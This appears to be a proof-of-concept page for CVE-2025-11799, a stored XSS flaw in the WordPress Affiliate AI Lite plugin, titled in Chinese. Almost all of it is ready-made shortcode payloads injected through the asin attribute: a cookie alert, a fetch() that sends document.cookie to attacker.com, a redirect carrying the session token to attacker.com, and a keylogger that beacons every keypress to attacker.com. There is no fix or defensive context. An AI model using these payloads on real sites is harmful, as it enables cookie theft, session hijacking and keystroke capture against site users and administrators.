CVE-2025-11799 WordPress Affiliate AI Lite插件存储型XSS漏洞

<!-- CVE-2025-11799 PoC: Stored XSS via asin parameter --> <!-- Requires contributor-level access or higher --> <!-- Basic XSS PoC --> [affiai_img asin='"><script>alert(document.cookie)</script>'] <!-- Cookie stealing PoC --> [affiai_img asin='"><img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)'>'] <!-- Session hijacking PoC --> [affiai_img asin='"><script>document.location='https://attacker.com/phishing?token='+document.cookie</script>'] <!-- Keylogger PoC --> [affiai_img asin='"><script>document.addEventListener('keypress',function(e){new Image().src='https://attacker.com/log?k='+e.key})</script>']